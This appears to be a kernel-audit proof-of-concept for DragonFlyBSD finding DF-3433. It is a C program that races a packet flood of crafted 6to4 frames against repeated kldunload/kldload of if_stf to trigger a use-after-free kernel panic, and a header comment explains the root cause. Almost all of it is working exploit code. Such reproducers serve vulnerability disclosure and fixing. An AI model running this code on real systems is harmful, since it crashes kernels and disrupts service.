⬢ DragonFlyBSD Kernel Audit
DF-3433 / stf_async_race.c
← back to finding ↓ download raw
/*
 * DF-3433 - if_stf teardown use-after-free on the ASYNC decap path.
 *
 * in_stf_input() (if_stf.c:543-631) decapsulates a matched proto-41 packet
 * and hands it to the IPv6 netisr:
 *
 *     m->m_pkthdr.rcvif = ifp;			// == &sc->sc_if   (:611)
 *     m->m_flags &= ~M_HASH;
 *     netisr_queue(NETISR_IPV6, m);		// ASYNC           (:629)
 *
 * The queued mbuf carries a RAW pointer into the stf_softc with no
 * reference.  kldunload if_stf -> stfmodevent(MOD_UNLOAD) (if_stf.c:210-224)
 * if_detach()es the ifnet (freeing if_afdata etc.), encap_detach()s,
 * kfrees route_pcpu and the softc itself, and the module text is unmapped --
 * with no serialization against the netisr that is about to run ip6_input()
 * on the queued packets.  The v6 input path immediately does
 *
 *     in6_ifstat_inc(m->m_pkthdr.rcvif, ifs6_in_receive)	(ip6_input.c)
 *         -> ((struct in6_ifextra *)ifp->if_afdata[AF_INET6])->in6_ifstats
 *
 * i.e. reads if_afdata (freed by if_detach) out of the freed softc and
 * WRITES through it.  The queue backlog (attack-controlled flood depth)
 * makes the window arbitrarily wide -- this is not a sub-microsecond race.
 *
 * To make the UAF deterministic on the INVARIANTS guest we enable
 * debug.use_weird_array=1 (kern_slaballoc.c:1566-1571): kfree() poisons the
 * first 64 bytes of freed chunks with 0xdeadc0de, so the post-free
 * afdata/stat dereference lands at 0xdeadc0de... -> Fatal trap 12.
 *
 * Setup (root, see bouncer): tap0 10.99.0.1/24 as the v4 anchor;
 * stf0 inet6 2002:0a63:0001::1/16 (v4 part 0a63:0001 == 10.99.0.1) makes
 * stf_encapcheck() accept outer dst 10.99.0.1 (if_stf.c:274-290).
 * Injected frames: eth->outer IPv4 src 10.99.0.2 dst 10.99.0.1 proto 41
 * -> inner IPv6 (dst local 6to4 addr, nexthdr 59).
 * Bounce thread: kldunload/kldload if_stf + re-configure stf0 each cycle.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/sockio.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/if_dl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>

static unsigned char tapmac[ETHER_ADDR_LEN];
static volatile unsigned long n_flood, n_cyc, n_err;
static volatile int stop;

static void
put16(unsigned char *p, unsigned short v)
{
	p[0] = v >> 8;
	p[1] = v & 0xff;
}

static void
put32(unsigned char *p, uint32_t v)
{
	put16(p, v >> 16);
	put16(p + 2, v & 0xffff);
}

static unsigned short
cksum(unsigned short *p, int nwords)
{
	unsigned long sum = 0;

	while (nwords-- > 0)
		sum += *p++;
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	return (~sum);
}

static void *
flood(void *arg)
{
	unsigned char pkt[14 + 20 + 40];	/* eth + outer v4 + inner v6 */
	struct ether_header *eh;
	int fd = *(int *)arg;

	memset(pkt, 0, sizeof(pkt));

	/* ---- ethernet: from the "6to4 peer" to us.
	 * tap MACs are randomized per create and the SIOCGIFADDR plumbing is
	 * unreliable across tap recreations; broadcast dst is always accepted
	 * by ether_input and the IP dst (10.99.0.1, our local addr) delivers. */
	eh = (struct ether_header *)pkt;
	memset(eh->ether_dhost, 0xff, ETHER_ADDR_LEN);
	eh->ether_shost[0] = 0x02; eh->ether_shost[1] = 0x00;
	eh->ether_shost[2] = 0x00; eh->ether_shost[3] = 0x00;
	eh->ether_shost[4] = 0x00; eh->ether_shost[5] = 0x02;
	put16(&pkt[12], ETHERTYPE_IP);

	/* ---- outer IPv4: 10.99.0.2 -> 10.99.0.1, proto 41 ---- */
	put16(&pkt[14], 0x4500);			/* v4, ihl 5, tos 0 */
	put16(&pkt[16], 20 + 40);			/* total len */
	put16(&pkt[18], 0);				/* id */
	put16(&pkt[20], 0);				/* frag */
	pkt[22] = 64;					/* ttl */
	pkt[23] = 41;					/* IPPROTO_IPV6 */
	/* cksum filled per-packet below */
	put32(&pkt[26], 0x0a630002);			/* src 10.99.0.2 */
	put32(&pkt[30], 0x0a630001);			/* dst 10.99.0.1 */
	put16(&pkt[24], cksum((unsigned short *)&pkt[14], 10));

	/* ---- inner IPv6: 2002:a63:2::1 -> 2002:a63:1::1, no-next-hdr ---- */
	put32(&pkt[34], 0x60000000);			/* flow 0 */
	put16(&pkt[38], 0);				/* plen 0 */
	pkt[40] = 59;					/* no next header */
	pkt[41] = 64;					/* hlim */
	/* src 2002:0a63:0002::1 */
	put16(&pkt[42], 0x2002); put16(&pkt[44], 0x0a63);
	put16(&pkt[46], 0x0002);
	/* dst 2002:0a63:0001::1 (LOCAL 6to4 addr on stf0) */
	put16(&pkt[58], 0x2002); put16(&pkt[60], 0x0a63);
	put16(&pkt[62], 0x0001);

	while (!stop) {
		if (write(fd, pkt, sizeof(pkt)) < 0) {
			perror("write tap0");
			usleep(1000);
			n_err++;
		} else
			n_flood++;
	}
	return NULL;
}

static void *
bouncer(void *arg)
{
	/* unload (frees softc while the v6 netisr may hold queued decaps),
	 * reload + re-configure the 6to4 address so encapcheck matches again */
	while (!stop) {
		if (system("kldunload if_stf") == 0) {
			n_cyc++;
			if (system("kldload if_stf") == 0) {
				if (system("ifconfig stf0 inet6 "
					   "2002:0a63:0001::1/16") != 0)
					n_err++;
			} else
				n_err++;
			usleep(20000);	/* configured window for floods */
		} else
			n_err++;
	}
	system("kldunload if_stf");
	return NULL;
}

int
main(int argc, char **argv)
{
	pthread_t th[3];
	int tapfd, i, secs = argc > 1 ? atoi(argv[1]) : 120;

	/* single-opener device: open once, share across flood threads */
	tapfd = open("/dev/tap0", O_RDWR);
	if (tapfd < 0) { perror("open /dev/tap0"); return 1; }

	for (i = 0; i < 2; i++)
		pthread_create(&th[i], NULL, flood, &tapfd);
	pthread_create(&th[2], NULL, bouncer, NULL);

	printf("racing: 2 tap floods + stf kldunload/kldload bounce\n");
	for (i = 0; i < secs; i += 10) {
		sleep(10);
		printf("t+%ds: flood=%lu unload_cyc=%lu err=%lu\n",
		    i + 10, n_flood, n_cyc, n_err);
		fflush(stdout);
	}
	stop = 1;
	for (i = 0; i < 3; i++)
		pthread_join(th[i], NULL);
	printf("done (no panic): flood=%lu unload_cyc=%lu err=%lu\n",
	    n_flood, n_cyc, n_err);
	return 0;
}